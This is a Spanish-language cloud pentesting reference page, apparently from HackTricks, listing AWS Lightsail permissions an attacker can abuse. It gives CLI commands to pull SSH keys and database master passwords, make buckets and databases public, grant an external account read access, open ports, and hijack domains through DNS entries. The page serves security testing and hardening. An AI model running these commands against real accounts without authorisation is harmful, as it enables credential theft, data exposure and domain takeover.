5.2 KiB
AWS - Lightsail Privesc
{{#include ../../../banners/hacktricks-training.md}}
Lightsail
Para más información sobre Lightsail consulta:
{{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}}
Warning
Es importante tener en cuenta que Lightsail no utiliza roles de IAM pertenecientes al usuario sino a una cuenta administrada por AWS, por lo que no puedes abusar de este servicio para privesc. Sin embargo, datos sensibles como código, claves API e información de bases de datos podrían encontrarse en este servicio.
lightsail:DownloadDefaultKeyPair
Este permiso te permitirá obtener las claves SSH para acceder a las instancias:
aws lightsail download-default-key-pair
Impacto Potencial: Encontrar información sensible dentro de las instancias.
lightsail:GetInstanceAccessDetails
Este permiso te permitirá generar claves SSH para acceder a las instancias:
aws lightsail get-instance-access-details --instance-name <instance_name>
Impacto Potencial: Encontrar información sensible dentro de las instancias.
lightsail:CreateBucketAccessKey
Este permiso te permitirá obtener una clave para acceder al bucket:
aws lightsail create-bucket-access-key --bucket-name <name>
Impacto Potencial: Encontrar información sensible dentro del bucket.
lightsail:GetRelationalDatabaseMasterUserPassword
Este permiso te permitirá obtener las credenciales para acceder a la base de datos:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Impacto Potencial: Encontrar información sensible dentro de la base de datos.
lightsail:UpdateRelationalDatabase
Este permiso te permitirá cambiar la contraseña para acceder a la base de datos:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Si la base de datos no es pública, también podrías hacerla pública con estos permisos con
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Impacto Potencial: Encontrar información sensible dentro de la base de datos.
lightsail:OpenInstancePublicPorts
Este permiso permite abrir puertos a Internet.
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Impacto Potencial: Acceso a puertos sensibles.
lightsail:PutInstancePublicPorts
Este permiso permite abrir puertos a Internet. Tenga en cuenta que la llamada cerrará cualquier puerto abierto que no esté especificado en ella.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Impacto Potencial: Acceso a puertos sensibles.
lightsail:SetResourceAccessForBucket
Este permiso permite dar a una instancia acceso a un bucket sin credenciales adicionales.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Impacto Potencial: Acceso potencial nuevo a buckets con información sensible.
lightsail:UpdateBucket
Con este permiso, un atacante podría otorgar a su propia cuenta de AWS acceso de lectura sobre los buckets o incluso hacer que los buckets sean públicos para todos:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Impacto Potencial: Acceso potencial a buckets con información sensible.
lightsail:UpdateContainerService
Con estos permisos, un atacante podría otorgar acceso a ECRs privados desde el servicio de contenedores.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Impacto Potencial: Obtener información sensible de ECR privado
lightsail:CreateDomainEntry
Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de subdominio), o crear un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal a su propia dirección IP.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impacto Potencial: Toma de control de un dominio
lightsail:UpdateDomainEntry
Un atacante con este permiso podría crear un subdominio y apuntarlo a su propia dirección IP (toma de control del subdominio), o crear un registro SPF que le permita falsificar correos electrónicos del dominio, o incluso establecer el dominio principal en su propia dirección IP.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impacto Potencial: Toma de control de un dominio
{{#include ../../../banners/hacktricks-training.md}}